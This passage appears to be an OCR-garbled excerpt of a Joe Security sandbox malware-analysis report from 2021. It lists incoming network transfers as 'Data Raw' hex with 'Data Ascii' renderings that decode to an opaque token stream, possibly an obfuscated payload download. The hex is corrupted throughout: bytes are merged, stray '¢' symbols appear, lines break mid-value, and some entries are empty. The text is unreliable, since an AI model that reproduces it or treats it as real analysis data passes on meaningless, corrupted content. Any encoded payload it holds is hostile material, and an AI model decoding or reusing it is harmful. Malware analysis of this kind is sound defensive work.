NV NNr NNM NCM NCY N Yr cY NYM Ir NNr NVM VL WC YC rl YN rV Ir NNr NNW NCW WM YC rr LN Yr WC NNr NNM
NCW NNV rl rl NNc Yr MV Nc NNM WW NNV YC rl YC NMc Ic WC NMN NC

Data Raw: 56 56 20 59 56 20 59 4e 20 57 4c 20 49 4e 20 49 59 20 4e 4e 72 20 4e 4e 59 20 63 57 20 4e 56 59 20 59 43
20 72 49 20 59 56 20 49 57 20 4e 59 4d 20 4e 4e 72 20 4e 4e 4d 20 4e 43 4c 20 4e 4e 72 20 59 56 20 57 59 20 4d 20 59
7220 49 72 20 4e 4e 63 20 49 43 20 4e 4e 4d 20 63 4d 20 59 49 20 59 43 20 72 57 20 59 43 20 4e 56 72 20 4e 49 20 4e
4e 4d 20 4e 43 57 20 4e 4e 49 20 72 4c 20 4c¢ 20 59 56 20 63 57 20 56 59 59 20 4e 4e 72 20 4e 4e 4d 20 4e 43 4¢ 20 4e
4320 56 72 20 4e 72 56 20 72 57 20 49 57 20 4d 20 4e 4e 59 20 4e 4e 4d 20 4e 43 4d 20 57 56 20 56 43 20 59 43 20 72
57 20 49 57 20 59 59 20 4e 4e 59 20 4e 4e 4d 20 4e 43 4d 20 49 49 20 4e 49 57 20 72 49 20 59 43 20 72 49 20 59 57 20
72 49 20 4e 4e 4d 20 4e 43 57 20 4e 4e 49 20 56 4c¢ 20 72 43 20 4e 20 63 56

Data Ascii: VV YV YN WL IN 1Y NNr NNY ¢W NVY YC rl YV IW NYM NNr NNM NCL NNr YV WY M Yr Ir NNc IC NNM cM
YI'YC rW YC NVr NI NNM NCW NNI rL L YV ¢W VYY NNr NNM NCL NC Vr NrV rW IW M NNY NNM NCM WV VC YC rwW
IW YY NNY NNM NCM II NIW rl YC rl YW rl NNM NCW NNI VL rC N ¢V

Data Raw: 20 59 43 20 72 49 20 59 57 20 4d 4d 20 4e 4e 4d 20 4e 43 57 20 4e 4e 49 20 56 43 20 59 43 20 4c 4d 20 4e 49
4d 20 4e 56 4d 20 4e 4e 72 20 4e 4e 4d 20 4e 4e 4e 20 49 59 20 4c 63 20 63 4d 20 4e 59 59 20 59 72 20 49 72 20 4e 4e
63 20 56 4e 59 20 63 57 20 56 59 4c 20 59 43 20 72 49 20 59 56 20 49 57 20 56 4e 20 4e 4e 72 20 4e 4e 4d 20 4e 43 4d
2049 63 20 56 72 20 72 49 20 59 43 20 59 72 20 4d 4e 20 63 63 20 4e 4e 56 20 4e 43 57 20 4e 57 56 20 59 4e 20 72 49
20 59 43 20 4e 57 20 49 72 20 4e 4e 72 20 4e 43 43 20 4e 4e 4e 20 49 49 20 4e 49 72 20 72 49 20 59 43 20 72 49 20 4c
57 20 4e 4e 57 20 4e 4e 57 20 4e 43 57 20 4e 4e 49 20 59 63 20 72 4d 20 63 4e 20 4e 49 4d 20 57 43 20 4e 4e 72 20 4e
4e 4d 20 4e 4e 4e 20 49 59 20 4c 63 20 4c 63 20 56 43 72 20 72 49 20 4c

Data Ascii: YC rl YW MM NNM NCW NNI VC YC LM NIM NVM NNr NNM NNN 1Y Lc cM NYY Yr Ir NNc VNY cW VYL YC
1YV IW VN NNr NNM NCM Ic Vr rl YC Yr MN cc NNV NCW NWV YN rl YC NW Ir NNr NCC NNN Il NIr rl YC rl LW NNW
NNW NCW NNI Yc rM ¢cN NIM WC NNr NNM NNN 1Y Lc Lc VCrrl L
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Timestamp transferred Direction Data

2021-10-29 18:29:09 UTC 1303 IN Data Raw: 72 20 4e 4e 63 20 56 4e 59 20 63 57 20 56 72 49 20 59 43 20 72 49 20 59 56 20 72 49 20 4c 57 20 56 4e 72 20
4e 4e 4d 20 4e 43 57 20 4e 56 56 20 4d 57 20 59 63 20 59 4e 20 59 72 20 49 43 20 57 43 20 56 72 43 20 4e 43 57 20 4e
4e 56 20 59 56 20 59 72 20 56 43 72 20 72 49 20 49 56 20 4e 4e 56 20 4e 4e 4d 20 4e 43 4d 20 4c 20 4e 59 4e 20 72 49
20 59 43 20 63 43 20 4e 56 72 20 57 49 20 4e 4e 4d 20 4e 43 57 20 57 4e 20 56 63 20 4c 4c 20 59 43 20 59 72 20 4e 56
4d 20 57 43 20 56 72 4c 20 4e 43 57 20 4e 4e 56 20 59 56 20 56 72 20 4e 49 4e 20 59 72 20 49 72 20 4e 4e 63 20 4e 4e
59 20 4e 72 4d 20 4e 4e 49 20 59 4c 20 59 43 20 59 43 20 72 49 20 4c 57 20 56 4e 59 20 4e 4e 4d 20 4e 43 57 20 4e 56
56 20 56 63 20 4c 56 20 59 43 20 59 72 20 4e 56 4d 20 57 43 20 4e 43 43
Data Ascii: r NNc VNY cW Vrl YC rl YV rl LW VNr NNM NCW NVV MW Yc YN Yr IC WC VrC NCW NNV YV Yr VCrrl IV
NNV NNM NCM L NYN rl YC cC NVr WI NNM NCW WN Vc LL YC Yr NVM WC VrL NCW NNV YV Vr NIN Yr Ir NNc NNY
NrM NNI'YL YC YC rl LW VNY NNM NCW NVV Vc LV YC Yr NVM WC NCC

2021-10-29 18:29:09 UTC 1304 IN Data Raw: 4e 4e 56 20 59 43 20 72 49 20 56 4e 63 20 59 72 20 49 72 20 4e 4e 72 20 4e 56 63 20 4e 43 57 20 4e 4e 56
20 59 43 20 4e 57 4d 20 59 43 20 59 72 20 49 72 20 4e 4e 59 20 4e 4e 4d 20 4e 43 57 20 4e 4e 56 20 56 56 20 72 49 20
59 43 20 59 59 20 49 72 20 4e 4e 72 20 4e 4e 4d 20 4e 43 57 20 4e 59 72 20 59 43 20 72 49 20 59 43 20 63 4e 20 49 72
20 4e 4e 72 20 4e 4e 4d 20 4e 59 59 20 4e 4e 56 20 59 43 20 72 49 20 72 57 20 59 72 20 49 72 20 4e 4e 72 20 4e 56 56
20 4e 43 57 20 4e 4e 56 20 59 4e 20 72 49 20 59 43 20 59 72 20 49 72 20 4e 4e 72 20 4e 4e 4d 20 4e 43 57 20 4e 4e 56
20 72 4d 20 72 57 20 59 43 20 59 72 20 4d 4c 20 4e 4e 59 20 4e 4e 4d 20 4e 43 57 20 4e 4e 4c 20 59 43 20 72 49 20 59
43 20 4e 49 20 49 72 20 4e 4e 72 20 4e 4e 63 20 4e 43 57 20 4e 4e 56 20 59
Data Ascii: NNV YC rl VNc Yr Ir NNr NVec NCW NNV YC NWM YC Yr Ir NNY NNM NCW NNV VV rl YC YY Ir NNr NNM
NCW NYr YC rl YC cN Ir NNr NNM NYY NNV YC rl rwW Yr Ir NNr NVV NCW NNV YN rl YC Yr Ir NNr NNM NCW NNV rM
W YC Yr ML NNY NNM NCW NNL YC rl YC NI Ir NNr NNc NCW NNV Y

2021-10-29 18:29:09 UTC 1306 IN Data Raw: 20 4d 4e 20 56 72 63 20 59 72 20 56 72 20 4e 4c 59 20 59 72 20 49 72 20 4e 56 43 20 56 63 20 56 4e 57 20 4e
4e 56 20 59 43 20 59 49 20 57 4c 20 4e 56 57 20 49 72 20 4e 4e 72 20 4e 56 4d 20 63 57 20 56 43 4e 20 59 4e 20 72 49
20 59 56 20 59 43 20 4e 56 72 20 4e 72 49 20 4e 4e 4d 20 4e 43 57 20 4e 4e 49 20 56 63 20 4e 4c 59 20 59 4e 20 59 72
20 49 56 20 49 49 20 4e 43 56 20 57 4c 20 4e 56 72 20 59 43 20 4e 63 63 20 59 43 20 59 72 20 49 72 20 4e 4e 72 20 4e
4e 4d 20 4e 43 57 20 4e 4e 56 20 59 72 20 4d 49 20 59 63 20 59 59 20 49 72 20 4e 4e 49 20 49 49 20 4d 4c 20 4e 43 56
20 56 56 63 20 4e 43 72 20 59 43 20 59 72 20 49 59 20 57 43 20 56 43 59 20 4e 43 57 20 4e 4e 56 20 59 63 20 56 56 72
20 63 4c 20 59 72 20 49 72 20 4e 4e 56 20 57 4c 20 56 4e 4c 20 4e 4e 56
Data Ascii: MN Vrc Yr Vr NLY Yr Ir NVC Ve VNW NNV YC YI WL NVW Ir NNr NVM cW VCN YN rl YV YC NVr Nrl NNM
NCW NNI' Ve NLY YN Yr IV I NCV WL NVr YC Ncc YC Yr Ir NNr NNM NCW NNV Yr MI Yc YY Ir NNI Il ML NCV VVc NCr
YC Yr Y WC VCY NCW NNV Yc VVrcL Yr Ir NNV WL VNL NNV

2021-10-29 18:29:09 UTC 1307 IN Data Raw: 4e 20 72 49 20 59 56 20 4c 57 20 49 43 20 57 43 20 4e 72 72 20 4e 43 57 20 4e 4e 56 20 59 56 20 57 59 20 4e
63 56 20 59 59 20 49 72 20 4e 4e 63 20 4e 43 43 20 4e 43 59 20 4c 4e 20 56 72 72 20 72 49 20 59 43 20 63 43 20 49 43
20 57 43 20 56 43 4e 20 4e 43 49 20 4e 4e 56 20 59 56 20 59 72 20 57 4c¢ 20 63 4d 20 49 59 20 4e 4e 72 20 4e 4e 59 20
4d 4e 20 4e 4e 56 20 59 43 20 72 57 20 72 63 20 59 72 20 49 72 20 4e 4e 56 20 4e 4e 4d 20 4e 56 72 20 4e 4e 56 20 72
63 20 56 57 20 59 43 20 59 63 20 49 72 20 4e 4e 72 20 4e 4e 4d 20 4e 43 57 20 4e 4e 72 20 59 43 20 4e 4e 49 20 59 43
207256 20 59 72 20 4e 4e 72 20 4e 56 4c 20 4e 43 57 20 4e 4e 56 20 59 43 20 72 49 20 4e 4e 63 20 59 43 20 4e 56 72
20 56 43 63 20 4e 4e 63 20 4e 43 57 20 4e 4e 49 20 56 63 20 56 4c 49 20
Data Ascii: N rl YV LW IC WC Nrr NCW NNV YV WY NcV YY Ir NNc NCC NCY LN Vrr rl YC cC IC WC VCN NCI NNV YV
Yr WL cM 1Y NNr NNY MN NNV YC rW rc Yr Ir NNV NNM NVr NNV rc VW YC Yc Ir NNr NNM NCW NNr YC NNI YC rV
Yr NNr NVL NCW NNV YC rl NNc YC NVr VCc NNc NCW NNI Ve VLI

2021-10-29 18:29:09 UTC 1308 IN Data Raw: 57 4c 20 49 59 20 59 4e 20 59 72 20 49 56 20 56 57 20 56 56 59 20 4e 43 57 20 4e 4e 56 20 59 56 20 72 43 20

4e 57 4e 20 56 57 20 49 72 20 4e 4e 72 20 4e 4e 57 20 4d 56 20 4e 43 56 20 63 59 20 4e 63 4c 20 59 43 20 59 72 20 49
56 20 56 43 49 20 49 43 20 4e 56 56 20 4e 4e 49 20 4e 72 72 20 56 72 20 4e 57 4e 20 59 72 20 49 72 20 4e 4e 63 20 4e
56 63 20 4e 43 63 20 4e 4e 59 20 57 4¢ 20 49 57 20 59 4e 20 59 72 20 49 56 20 57 43 20 56 72 57 20 4e 43 57 20 4e 4e
56 20 59 56 20 57 59 20 56 72 49 20 59 72 20 49 72 20 4e 56 43 20 4e 4e 4c 20 63 57 20 56 43 72 20 59 4e 20 72 49 20
5956 20 72 57 20 59 57 20 56 72 4c 20 4e 4e 63 20 4e 43 57 20 4e 4e 49 20 56 72 20 4e 63 63 20 72 57 20 49 57 20 59
4c 20 4e 4e 59 20 4e 4e 4d 20 4e 43 4d 20 57 56 20 72 63 20 59 56 20 56

Data Ascii: WL IY YN Yr IV VW VVY NCW NNV YV rC NWN VW Ir NNr NNW MV NCV cY NcL YC Yr IV VCI IC NVV NNI
Nrr Vr NWN Yr Ir NNc NVe NCec NNY WL IW YN Yr IV WC VriWw NCW NNV YV WY Vrl Yr Ir NVC NNL cW VCr YN rl YV
W YW VrL NNc NCW NNI Vr Ncc rW IW YL NNY NNM NCM WV rc YV V

2021-10-29 18:29:09 UTC 1312 IN Data Raw: 57 59 20 56 4c 20 59 72 20 49 72 20 4e 56 43 20 49 57 20 4e 43 72 20 4e 43 4c 20 4c 4¢ 20 59 72 20 56 59 20
63 4c 20 4d 43 20 4e 56 56 20 57 4c 20 49 49 20 4e 4e 56 20 59 43 20 59 49 20 4c 4e 20 56 4c 56 20 4e 4c 49 20 4e 56
72 20 4e 43 4c 20 4e 43 4e 20 4e 72 56 20 4c¢ 63 20 59 63 20 59 43 20 59 72 20 4d 57 20 56 57 20 4e 56 63 20 4e 43 57
20 4e 4e 56 20 59 63 20 56 4c 63 20 4c 59 20 72 49 20 4e 4e 43 20 4e 4d 63 20 4e 4e 4d 20 4e 43 57 20 4e 4e 56 20 59
43 20 4c 4c¢ 20 59 59 20 63 57 20 72 49 20 4e 4e 72 20 4e 4e 4d 20 4e 43 4c 20 57 57 20 59 63 20 4c 4c 20 59 63 20 49
57 20 4e 4c 59 20 4e 4e 72 20 4e 4e 4d 20 4e 43 4¢ 20 57 57 20 59 4c 20 4c 49 20 4c 4c 20 63 4e 20 63 63 20 57 4d 20
4e 56 4e 20 4d 43 20 59 4d 20 4c 59 20 59 57 20 4c 4e 20 4e 56 4c 20 63
Data Ascii: WY VL Yr Ir NVC IW NCr NCL LL Yr VY cL MC NVV WL Il NNV YC YI LN VLV NLI NVr NCL NCN NrV Lc Yc
YC Yr MW VW NVc NCW NNV Yc VLc LY rl NNC NMc NNM NCW NNV YC LL YY cW rl NNr NNM NCL WW Yc LL Yc IW
NLY NNr NNM NCL WW YL LI LL cN cc WM NVN MC YM LY YW LN NVL ¢

2021-10-29 18:29:09 UTC 1316 IN Data Raw: 59 72 20 56 43 63 20 4e 4e 56 20 4e 4e 4d 20 4e 43 57 20 4e 4d 57 20 72 49 20 72 49 20 59 43 20 59 4c 20
49 72 20 4e 4e 72 20 4e 4e 4d 20 57 49 20 4e 4e 56 20 59 43 20 72 57 20 72 49 20 59 72 20 49 72 20 4e 4e 72 20 4e 43
4e 20 4e 43 57 20 4e 4e 56 20 59 43 20 56 72 4¢ 20 72 49 20 59 72 20 49 72 20 4e 63 4e 20 4e 4e 57 20 4e 43 57 20 4e
4e 56 20 59 63 20 72 49 20 59 43 20 59 72 20 49 72 20 4e 4e 72 20 4e 4e 4d 20 4e 43 57 20 4e 4e 56 20 59 43 20 72 49
20 59 43 20 72 49 20 49 72 20 4e 4e 72 20 4e 4e 4d 20 4e 49 43 20 4e 4e 72 20 59 43 20 72 49 20 56 4c¢ 4d 20 59 56 20
49 72 20 4e 4e 72 20 4e 4e 49 20 4e 43 57 20 4e 4e 56 20 59 43 20 59 49 20 59 43 20 59 72 20 49 59 20 4e 43 59 20 63
57 20 4e 43 59 20 4e 4e 56 20 4e 56 4c 20 72 57 20 59 43 20 59 72 20 4e 56
Data Ascii: Yr VCc NNV NNM NCW NMW rl rl YC YL Ir NNr NNM WI NNV YC rW rl Yr Ir NNr NCN NCW NNV YC VrL rl
YrIr NeN NNW NCW NNV Yc rl YC Yr Ir NNr NNM NCW NNV YC rl YC rl Ir NNr NNM NIC NNr YC rl VLM YV Ir NNr NNI
NCW NNV YC YI'YC Yr IY NCY cW NCY NNV NVL rW YC Yr NV

2021-10-29 18:29:09 UTC 1317 IN Data Raw: 59 4d 20 59 72 20 49 72 20 4e 56 43 20 4e 63 57 20 4e 56 72 20 4e 4e 4d 20 4c 4e 20 4¢ 56 20 59 4c¢ 20 4¢ 57
2049 43 20 4e 4e 4c 20 4e 4e 4c¢ 20 63 57 20 56 56 72 20 59 43 20 72 49 20 59 56 20 4¢ 43 20 63 63 20 4e 4e 72 20 4e
4e 4d 20 4d 43 20 4e 56 4c 20 59 57 20 57 59 20 63 56 20 59 72 20 49 72 20 4e 56 43 20 49 49 20 56 59 59 20 4e 4d 72
20 59 63 20 59 4d 20 4c 43 20 72 49 20 57 4c 20 56 57 20 4e 56 63 20 4e 43 57 20 4e 4e 56 20 59 63 20 56 4c 63 20 56 4
€ 63 20 59 4c 20 4e 4e 72 20 4e 4d 56 20 4e 4e 4d 20 4e 43 59 20 57 57 20 59 49 20 4c 49 20 4c 4c 20 63 4c 20 4e 56 4d
20 49 4c 20 4e 43 43 20 4e 43 4e 20 57 4d 20 59 57 20 4e 4d 43 20 4c 4c 20 63 43 20 49 4c 20 4e 4e 56 20 4e 43 43 20
4e 43 4c 20 49 49 20 56 4c 4c 20 72 49 20 59 43 20 63 43 20 4e 56 72
Data Ascii: YM Yr Ir NVC NcW NVr NNM LN LV YL LW IC NNL NNL cW VVr YC rl YV LC cc NNr NNM MC NVL YW WY
cV YriIr NVC I VYY NMr Yc YM LC rl WL VW NVe NCW NNV Yc VLc VLc YL NNr NMV NNM NCY WW YI LI LL cL NVM
IL NCC NCN WM YW NMC LL cC IL NNV NCC NCL Il VLL rl YC cC NVr
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2021-10-29 18:29:09 UTC 1322 IN Data Raw: 20 49 72 20 4e 43 57 20 4e 4e 56 20 59 63 20 63 4e 20 4d 63 20 72 43 20 49 72 20 4e 4e 72 20 4e 56 4d 20
4e 56 63 20 4e 4e 63 20 4d 63 20 72 63 20 59 43 20 59 72 20 57 72 20 57 4d 20 4e 4e 56 20 4e 43 43 20 4c 20 4e 63 20
72 49 20 59 43 20 63 43 20 4e 56 72 20 49 4e 20 4e 4e 4d 20 4e 43 57 20 4e 56 56 20 57 4c 20 56 43 20 59 43 20 59 72
20 57 72 20 57 4d 20 4e 4e 4c 20 4e 56 72 20 4e 4e 63 20 72 59 20 63 4c 20 4e 57 4e 20 4e 43 49 20 49 72 20 4e 4e 72
20 4e 4e 63 20 4d 56 20 4e 63 43 20 56 4e 59 20 72 49 20 59 43 20 59 43 20 4e 56 72 20 63 57 20 4e 4e 4d 20 4e 43 57
20 4e 56 56 20 63 59 20 49 20 59 43 20 59 72 20 57 72 20 56 57 20 49 43 20 4e 43 57 20 4e 4e 56 20 59 63 20 56 49 20
72 432072 43 20 56 4e 4d 20 72 43 20 4e 4e 4d 20 4e 43 57 20 4e 4e 4c 20
Data Ascii: Ir NCW NNV Yc cN Mc rC Ir NNr NVM NVc NNc Mc rc YC Yr Wr WM NNV NCC L Nc rl YC ¢cC NVr IN NNM
NCW NVV WL VC YC Yr Wr WM NNL NVr NNc rY cL NWN NCI Ir NNr NNc MV NcC VNY rl YC YC NVr cW NNM NCW
NVV cY | YC Yr Wr VW IC NCW NNV Yc VI rC rC VNM rC NNM NCW NNL

2021-10-29 18:29:09 UTC 1326 IN Data Raw: 4e 56 20 59 63 20 4e 43 20 56 4e 4c 20 59 72 20 49 72 20 4e 4e 72 20 4e 43 63 20 4e 4e 57 20 49 49 20 57 63

2072 49 20 59 43 20 63 43 20 4d 59 20 4e 43 4e 20 56 72 49 20 59 59 20 4e 4e 56 20 59 43 20 72 57 20 56 4c 20 56 4c
43 20 4e 4c 43 20 4e 4e 72 20 4e 4e 4d 20 4e 43 59 20 49 49 20 59 20 72 49 20 59 43 20 63 43 20 4c 57 20 4d 72 20 4e
4e 4d 20 4e 43 57 20 4e 56 56 20 56 63 20 56 4d 20 59 43 20 59 72 20 57 72 20 57 4d 20 4e 56 59 20 4e 43 4d 20 4c 20
4e 57 57 20 72 49 20 59 43 20 72 49 20 4d 4e 20 4e 4e 49 20 4e 43 43 20 4e 43 59 20 57 49 20 59 4e 20 56 72 20 56 4e
57 20 59 72 20 49 72 20 4e 56 43 20 56 63 20 4e 4c 4e 20 4e 4e 56 20 59 43 20 59 72 20 4c¢ 59 20 59 43 20 63 4d 20 56
59 59 20 72 4d 20 4e 43 57 20 4e 4e 56 20 59 4e 20 56 4e 20 4c 63 20 72

Data Ascii: NV Yc NC VNL Yr Ir NNr NCc NNW [ We rl YC ¢C MY NCN Vrl YY NNV YC rW VL VLC NLC NNr NNM NCY
1Y rl YC ¢cC LW Mr NNM NCW NVV Vc VM YC Yr Wr WM NVY NCM L NWW rl YC rl MN NNI NCC NCY WI YN Vr VNW
YrIr NVC Ve NLN NNV YC YrLY YC cM VYY rM NCW NNV YN VN Lc r

2021-10-29 18:29:09 UTC 1330 IN Data Raw: 4e 59 20 4d 56 20 56 20 63 72 20 59 4d 20 59 43 20 4d 43 20 4e 56 72 20 4e 4d 20 4e 4e 4d 20 4e 43 57 20
4e 56 56 20 63 72 20 4e 4e 57 20 59 63 20 59 72 20 4c 63 20 4e 56 20 4e 43 4d 20 4e 43 57 20 4e 4e 56 20 59 63 20 57
59 20 72 59 20 59 72 20 49 72 20 4e 56 43 20 4d 20 4e 63 20 4e 56 56 20 59 43 20 63 72 20 63 72 20 4e 59 59 20 57 72
20 4e 4e 72 20 59 20 4e 57 20 4e 4e 43 20 59 43 20 72 49 20 59 63 20 4c 43 20 4d 59 20 4e 4e 72 20 4e 4e 4d 20 4e 43
4c 20 49 49 20 4e 4e 20 72 49 20 59 43 20 63 43 20 59 57 20 4e 4c 43 20 4e 4e 4d 20 4e 43 57 20 4e 4e 49 20 56 4c 20
63 63 20 4e 72 4c 20 63 43 20 49 72 20 56 20 4d 20 4e 56 72 20 4e 56 4c 20 59 43 20 63 72 20 4d 63 20 72 43 20 49 72
20 4e 4e 72 20 4e 56 4d 20 63 57 20 4e 4e 4e 20 59 43 20 72 49 20 59 63 20
Data Ascii: NY MV V cr YM YC MC NVr NM NNM NCW NVV cr NNW Yc Yr Lc NV NCM NCW NNV Yc WY rY Yr Ir NVC
M Nc NVV YC crcr NYY Wr NNr'Y NW NNC YC rl Yc LC MY NNr NNM NCL Il NN rl YC ¢cC YW NLC NNM NCW NNI VL
cc NrL cC Ir V.M NVr NVL YC cr Mc rC Ir NNr NVM c¢W NNN YC rl Yc

2021-10-29 18:29:09 UTC 1334 IN Data Raw: 4e 43 43 20 57 49 20 56 59 59 20 56 49 20 72 49 20 59 43 20 59 56 20 72 4d 20 49 63 20 4e 4e 4d 20 4e 43
57 20 4e 4e 63 20 57 4e 20 57 59 20 4e 57 56 20 59 72 20 49 72 20 4e 56 43 20 56 4e 59 20 49 59 20 56 56 63 20 59 43
20 72 49 20 59 43 20 59 56 20 72 4d 20 4e 43 56 20 4e 4e 4d 20 4e 43 57 20 4e 4e 63 20 59 4c¢ 20 59 63 20 4e 43 63 20
4e 49 59 20 4e 43 43 20 4e 4e 72 20 4e 4e 4d 20 4e 4e 4e 20 4e 4e 20 56 4d 20 72 49 20 59 43 20 59 43 20 63 57 20 4e
56 59 20 4e 43 63 20 57 4d 20 56 59 4c 20 4e 43 72 20 72 49 20 59 43 20 59 59 20 4e 4e 4c 20 4e 63 56 20 4e 4c 59 20
4e 43 57 20 4e 4e 56 20 59 72 20 56 72 20 59 20 59 72 20 49 72 20 4e 56 43 20 63 20 49 59 20 4e 4e 56 20 59 43 20 59
49 20 56 63 20 49 49 20 49 72 20 4e 4e 72 20 4e 56 4d 20 4e 4e 4e 20 4e 4e
Data Ascii: NCC WI VYY VIrl YC YV rM Ic NNM NCW NNc WN WY NWV Yr Ir NVC VNY IY VVc YC rl YC YV rM NCV
NNM NCW NNc YL Yc NCc NIY NCC NNr NNM NNN NN VM rl YC YC cW NVY NCc WM VYL NCr rl YC YY NNL NcV N
LY NCW NNV YrVrY Yrir NVC c IY NNV YC YI Vc Il Ir NNr NVM NNN NN

2021-10-29 18:29:09 UTC 1338 IN Data Raw: 59 72 20 49 72 20 4e 4e 49 20 57 4c 20 57 43 20 4e 4e 56 20 59 43 20 59 49 20 63 59 20 4e 72 20 49 72 20 4e
4e 72 20 4e 56 4d 20 63 57 20 4c 43 20 59 43 20 72 49 20 59 63 20 59 56 20 72 4d 20 57 49 20 4e 4e 4d 20 4e 43 57 20
4e 4e 63 20 4¢ 59 20 59 49 20 4c 59 20 59 57 20 4e 56 20 57 57 20 4e 56 4c 20 4e 56 4c 20 56 4c¢ 43 20 4e 43 63 20 4¢
4c 20 63 43 20 4c 4c 20 4e 57 72 20 72 56 20 4e 43 43 20 57 57 20 4e 43 72 20 4e 63 72 20 4e 43 72 20 4¢ 59 20 59 63 2
0 4d 4d 20 56 56 49 20 72 59 20 72 20 57 4d 20 63 43 20 72 56 20 4e 63 72 20 57 59 20 59 57 20 4e 56 49 20 4e 4e 4d
20 4e 43 57 20 4e 56 56 20 4d 57 20 56 72 20 59 43 20 59 72 20 49 43 20 4d 72 20 56 4c 59 20 4e 43 57 20 4e 4e 56 20
59 43 20 59 43 20 4d 4c 20 59 4d 20 49 72 20 4e 4e 72 20 4e 4e 4c 20 4e
Data Ascii: Yr Ir NNI WL WC NNV YC YI cY Nr Ir NNr NVM cW LC YC rl Yc YV rM WI NNM NCW NNc LY YI LY YW NV
WW NVL NVL VLC NCc LL cC LL NWr rV NCC WW NCr Ncr NCr LY Yc MM VVIrY r WM cC rV Ner WY YW NVI NNM
NCW NVV MW Vr YC Yr IC Mr VLY NCW NNV YC YC ML YM Ir NNr NNL N

2021-10-29 18:29:09 UTC 1342 IN Data Raw: 4e 63 20 4e 4e 59 20 4e 4e 72 20 56 63 20 49 56 20 59 43 20 59 72 20 57 72 20 49 49 20 57 57 20 4e 4e 43
20 4e 437220 56 43 72 20 72 57 20 56 72 20 59 72 20 49 72 20 4e 43 59 20 63 57 20 4e 43 72 20 4e 4e 56 20 63 4d 20
72 49 20 59 43 20 59 72 20 4e 4e 4e 20 4e 4e 72 20 4e 4e 4d 20 4e 56 72 20 4e 4e 59 20 57 4c 20 4e 59 4c 20 59 4e 20 5
9 72 20 49 56 20 4e 43 4e 20 56 72 49 20 59 4c 20 4e 4e 56 20 59 43 20 72 57 20 56 4c 20 4c 56 20 4c 49 20 4e 4d 56 20
4e 4e 72 20 4e 43 57 20 43 20 4e 72 72 20 4¢ 57 20 57 4c¢ 20 4e 56 43 20 49 72 20 4e 4e 72 20 4e 56 4d 20 4e 43 4c 20
4c 20 59 4e 20 72 57 20 59 43 20 63 43 20 49 56 20 4e 43 43 20 56 4¢ 57 20 4e 43 4d 20 4e 43 4c 20 4e 63 49 20 56 72
20 49 4e 20 59 72 20 49 72 20 4e 56 43 20 57 4c 20 4e 4e 4e 20 4e 4e 4c
Data Ascii: Nc NNY NNr Ve IV YC Yr Wr Il WW NNC NCr VCr rW Vr Yr Ir NCY ¢W NCr NNV cM rl YC Yr NNN NNr NNM
NVr NNY WL NYL YN Yr IV NCN Vrl YL NNV YC rW VL LV LI NMV NNr NCW C Nrr LW WL NVC Ir NNr NVM NCL L YN r
W YC cC IV NCC VLW NCM NCL Ncl Vr IN Yr Ir NVC WL NNN NNL

2021-10-29 18:29:09 UTC 1346 IN Data Raw: 20 56 4c 20 56 57 20 63 56 20 4e 63 20 4d 43 20 4e 4e 56 20 4e 4c 57 20 4e 56 43 20 63 4d 20 59 43 20 72 49
20 72 4e 20 63 56 20 4e 56 4d 20 59 57 20 4e 4e 20 4e 56 4c 20 4e 4e 4c 20 59 43 20 59 56 20 56 4¢ 20 56 4d 20 63 4d
2049 72 20 4e 4e 20 4e 56 4e 20 4e 4e 4c 20 59 43 20 59 56 20 56 43 72 20 72 49 20 4d 56 20 4e 4e 56 20 4e 4e 4d 20
4e 43 4d 20 4¢ 20 72 4e 20 72 57 20 59 43 20 63 43 20 4e 4e 4¢ 20 56 72 56 20 57 57 20 4e 43 49 20 4e 4e 56 20 59 72 2
056 7220 72 59 20 59 72 20 49 72 20 49 57 20 49 43 20 63 72 20 4e 56 72 20 56 43 20 4c 72 20 72 49 20 56 43 43 20
63 59 20 63 59 20 4e 4e 4d 20 4e 43 57 20 4e 43 4d 20 59 49 20 56 4d 20 4c¢ 63 20 72 49 20 4e 4d 43 20 4e 4e 63 20 4e
43 57 20 4e 4e 4e 20 4e 4e 56 20 59 56 20 63 4d 20 72 4d 20 59 59 20 49
Data Ascii: VL VW ¢V Nc MC NNV NLW NVC ¢cM YC rl rN ¢V NVM YW NN NVL NNL YC YV VL VM cM Ir NN NVN NNL
YC YV VCrrl MV NNV NNM NCM L rN rW YC ¢C NNL VrV WW NCI NNV Yr VrrY Yr Ir IW IC cr NVr VC Lr rl VCC cY cY
NNM NCW NCM YI VM Lc rl NMC NNc NCW NNN NNV YV cM rM YY |

2021-10-29 18:29:09 UTC 1349 IN Data Raw: 63 20 4e 4c 49 20 49 72 20 4e 4e 72 20 4e 56 4d 20 56 43 4d 20 49 59 20 4c 4d 20 4c 57 20 4c 49 20 4c¢ 43 20
56 4c 56 20 4e 4e 72 20 4e 4e 4d 20 4e 43 4c¢ 20 56 4e 43 20 56 4¢ 20 72 43 20 4c 4d 20 4¢ 72 20 4e 56 72 20 56 43 63
20 4e 4e 4d 20 4e 43 57 20 4e 56 56 20 4e 72 72 20 56 4e 20 72 4c 20 4c¢ 56 20 63 72 20 57 43 20 56 43 4e 20 4e 43 57
20 4e 4e 56 20 59 63 20 4e 72 63 20 56 63 20 4e 4c 57 20 49 72 20 4e 4e 72 20 4e 56 4d 20 63 57 20 72 57 20 59 4e 20
72 49 20 59 63 20 4e 49 56 20 4d 4c 20 4e 4e 59 20 4e 4e 4d 20 4e 43 59 20 4e 72 20 72 4d 20 72 57 20 59 43 20 59 43
20 72 4d 20 72 49 20 4e 4e 63 20 4e 43 57 20 4e 56 56 20 4d 63 20 72 59 20 59 4e 20 59 72 20 49 43 20 4e 56 56 20 57
57 20 4e 56 4c 20 4c 20 4e 4e 4¢c 20 72 57 20 59 43 20 63 43 20 63 63 20
Data Ascii: ¢ NLI Ir NNr NVM VCM IY LM LW LI LC VLV NNr NNM NCL VNC VL rC LM Lr NVr VCc NNM NCW NVV Nrr
VN rL LV cr WC VCN NCW NNV Yc Nrc Ve NLW Ir NNr NVM cW rW YN rl Yc NIV ML NNY NNM NCY NrrM rW YC YC
rM rl NNc NCW NVV Mc rY YN Yr IC NVV WW NVL L NNL rW YC cC cc
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2021-10-29 18:29:09 UTC 1354

2021-10-29 18:29:09 UTC 1358

2021-10-29 18:29:09 UTC 1362

2021-10-29 18:29:09 UTC 1366

2021-10-29 18:29:09 UTC 1370

2021-10-29 18:29:09 UTC 1374

2021-10-29 18:29:09 UTC 1378

2021-10-29 18:29:09 UTC 1381

Copyright Joe Security LLC 2021

Direction

IN

Data

Data Raw: 20 4d 56 20 4e 43 57 20 59 43 20 4d 4d 20 72 49 20 72 57 20 63 43 20 49 72 20 4e 4e 72 20 4e 4e 63 20 4e
